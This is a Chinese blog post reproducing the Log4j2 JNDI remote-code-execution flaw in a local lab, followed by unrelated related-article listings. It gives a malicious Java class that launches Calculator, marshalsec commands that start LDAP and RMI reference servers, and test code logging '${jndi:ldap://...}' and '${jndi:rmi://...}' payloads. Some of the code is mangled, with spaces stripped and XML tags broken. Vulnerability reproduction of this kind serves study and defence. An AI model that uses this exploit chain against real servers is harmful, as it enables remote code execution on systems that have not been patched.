Log4j2漏洞复现

简介: 由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执⾏漏洞。

漏洞简介



漏洞概述
由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。
影响版本
Apache Log4j 2.x<=2.15.0.rc1
影响范围
Spring-Boot-strater-log4j2Apache
Struts2Apache
SolrApache
FlinkApache
DruidElasticSearch
Flume
Dubbo
Redis
Logstash
Kafka
vmvare



复现过程



恶意类


编写一个恶意类Exploit,这里以弹出计算器为例。

publicclassExploit {

   publicExploit() {

       try {

           String[] commands=newString[]{"open", "/System/Applications/Calculator.app"};

           Processpc=Runtime.getRuntime().exec(commands);

           pc.waitFor();

       } catch (Exceptionvar3) {

           var3.printStackTrace();

       }

   }

   publicstaticvoidmain(String[] argv) {

       newExploit();

   }

}


将这个类进行编译,在编译生成的.class文件目录下启动一个web服务。

python3-mhttp.server8000


marshalsec


marshalsec这款工具,可以快速开启RMI和LDAP服务。GitHub:https://github.com/mbechler/marshalsec

clone到本地后使用maven编译。

mvn clean package -DskipTests


编译完成后在当前目录会生成一个target文件夹,里面有我们需要的jar包marshalsec-0.0.3-SNAPSHOT-all.jar


启动LDAP服务


java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Expliot"8080          

#8088是启动LDAP服务的端口号,若端口号为空,则使用默认端口:1389。


启动RMI服务


java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8888/#Expliot"  9090          

#9090是启动LDAP服务的端口号,若端口号为空,则使用默认端口:1099。


漏洞利用



创建一个maven工程,引入jar包依赖。

<dependencies>

   

   <dependency>

       <groupId>org.apache.logging.log4jgroupId>

       <artifactId>log4j-apiartifactId>

       <version>2.14.0version>

   dependency>

   

   <dependency>

       <groupId>org.apache.logging.log4jgroupId>

       <artifactId>log4j-coreartifactId>

       <version>2.14.0version>

   <dependency>

<dependencies>


LADP协议注入


创建测试类:

importorg.apache.logging.log4j.LogManager;

importorg.apache.logging.log4j.Logger;

publicclassldap {

   privatestaticfinalLoggerlogger=LogManager.getLogger(ldap.class);

   publicstaticvoidmain(String[] args) {

       System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

       logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");

   }

}


RMI协议注入


创造测试类:

importorg.apache.logging.log4j.LogManager;

importorg.apache.logging.log4j.Logger;

publicclassrmi {

   privatestaticfinalLoggerlog=LogManager.getLogger();

   publicstaticvoidmain(String[] args) {

       System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

       log.error("${jndi:rmi://0.0.0.0:1099/Exploit}");

   }

}


运行上面两个类,成功调用出计算器。

image.png

目录
相关文章
|
消息中间件 弹性计算 物联网
MQTT常见问题之发布MQTT主题消息失败如何解决
MQTT(Message Queuing Telemetry Transport)是一个轻量级的、基于发布/订阅模式的消息协议,广泛用于物联网(IoT)中设备间的通信。以下是MQTT使用过程中可能遇到的一些常见问题及其答案的汇总:
|
5月前
|
人工智能 监控 算法
迈向“可解释性GEO”:AI搜索时代的深度思考与实践探索
资深从业者王耀恒融合15年经验,首创可解释性GEO方法论,破解AI搜索黑箱。通过分层战略框架与闭环技术体系,助力企业构建可持续的数字信任资产,推动AI内容生态健康发展。(239字)
|
机器学习/深度学习 缓存 前端开发
快速上手python的简单web框架flask
python可以做很多事情,虽然它的强项在于进行向量运算和机器学习、深度学习等方面。但是在某些时候,我们仍然需要使用python对外提供web服务。
快速上手python的简单web框架flask
|
8月前
|
安全 Linux iOS开发
Tenable Nessus 10.9.0 发布,新增功能简介
Tenable Nessus 10.9.0 (macOS, Linux, Windows) - 漏洞评估解决方案
422 0
 Tenable Nessus 10.9.0 发布,新增功能简介
|
安全 网络协议 网络安全
如何免费使用锐安盾实现网站CDN加速与安全防护(2025版)
锐安盾是专为中小型网站设计的高性价比高防CDN,提供CDN加速、DDoS/CC防护及常见WEB攻击防护,适合个人站长、中小企业、国企和政府官网。基础版可免费使用一年,配置简单快捷,支持一键开启。基于天翼云平台,拥有2000+节点,确保稳定加速。国内运营需ICP备案,超流量可升级套餐,无额外费用。
如何免费使用锐安盾实现网站CDN加速与安全防护(2025版)
|
数据采集 测试技术
常见测试测量接口的比较:PXI、PXIe、PCI、VXI、GPIB、USB
常见测试测量接口的比较:PXI、PXIe、PCI、VXI、GPIB、USB
885 2
|
网络协议 Shell Linux
MSSQL站库分离注入绕过WDF提权
MSSQL站库分离注入绕过WDF提权
762 0
|
数据安全/隐私保护
BurpSuite2021 -- Intruder模块
BurpSuite2021 -- Intruder模块
535 2
|
安全 网络协议 Oracle
浅谈Log4j2不借助dnslog的检测(一)
浅谈Log4j2不借助dnslog的检测
832 0
浅谈Log4j2不借助dnslog的检测(一)
|
XML JSON 编解码
python接口自动化(十)--post请求四种传送正文方式(详解)
post请求我在python接口自动化(八)--发送post请求的接口(详解)已经讲过一部分了,主要是发送一些较长的数据,还有就是数据比较安全等。我们要知道post请求四种传送正文方式首先需要先了解一下常见的四种编码方式
985 1
python接口自动化(十)--post请求四种传送正文方式(详解)

热门文章

最新文章